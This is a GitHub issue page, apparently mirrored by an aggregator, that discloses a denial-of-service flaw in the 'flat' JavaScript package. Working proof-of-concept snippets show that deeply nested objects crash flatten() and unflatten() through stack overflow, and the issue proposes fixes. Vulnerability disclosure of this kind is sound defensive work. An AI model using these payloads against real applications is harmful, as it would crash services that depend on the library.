hughsk / hughsk/flat

Security: Uncontrolled Recursion DoS in flatten() - CWE-674 (Stack Overflow)

Open
#189 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
1.8k
Forks
197
PR merge metrics
No merged PRs in 30d

Description

## Summary

`flat` v6.0.1 `flatten()` function uses a recursive inner function `step()` (line 20-43 of index.js) to traverse nested objects. The `maxDepth` option is not set by default (`undefined`), so the recursion depth is unbounded. An attacker-controlled deeply nested object (~2,255+ levels) causes a `RangeError: Maximum call stack size exceeded`, crashing the Node.js process.

**Severity:** Medium (DoS - process crash)
**CWE:** CWE-674 (Uncontrolled Recursion)

## Root Cause

File: `index.js`, line 38

```javascript
function step (object, prev, currentDepth) {
currentDepth = currentDepth || 1
Object.keys(object).forEach(function (key) {
// ...
if (type === 'object' && ...) {
if (!opts.maxDepth) {
return step(value, newKey, currentDepth + 1) // UNBOUNDED RECURSION
}
}
})
}
```

The function recurses into nested objects without any depth check when `maxDepth` is not set (the default).

## Two Confirmed Attack Vectors

### 1. Direct: `flatten(deepObject)`

```javascript
import { flatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
flatten(obj);
// RangeError: Maximum call stack size exceeded
```

### 2. Indirect: `unflatten({key: deepObject})`

```javascript
import { unflatten } from 'flat';
let obj = { v: 1 };
for (let i = 0; i < 5000; i++) obj = { n: obj };
unflatten({ test: obj });
// RangeError: Maximum call stack size exceeded
// (unflatten calls flatten() internally at line 109 to pre-process nested object values)
```

## PoC Output

```
--- PoC 1a: flatten() with deeply nested object ---
[FAIL] flatten() crashes at depth 5000: Maximum call stack size exceeded

--- PoC 1b: unflatten() crash via nested object value ---
[FAIL] unflatten() crashes with nested object value at depth 5000: Maximum call stack size exceeded

--- PoC 1c: Minimum crash depth ---
[INFO] Minimum depth causing crash: ~2255 levels
[INFO] This is well within range of attacker-crafted JSON payloads
```

## Impact

Any application that calls `flatten()` on untrusted input (e.g., JSON from API requests, user-submitted data) can be crashed with a ~2,255-level nested object. The `RangeError` from stack overflow may not be catchable in all environments, and Node.js may terminate the entire process.

A 2,255-level nested JSON object is only ~30KB, making this a low-bandwidth DoS attack.

## Suggested Fix

Either:
1. Set a reasonable default `maxDepth` (e.g., 100 or 500)
2. Convert `step()` to an iterative algorithm using an explicit stack

## Verified NOT Vulnerable

- **Prototype pollution via `__proto__`**: CVE-2020-36632 fix is solid (line 121 correctly checks `key1 === '__proto__'`)
- **Prototype pollution via `constructor.prototype`**: Safe (constructor on `{}` is Function type, isobject=false)
- **ReDoS**: No regex used anywhere in the package
- **Algorithmic complexity**: All operations are O(n) in the number of keys

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.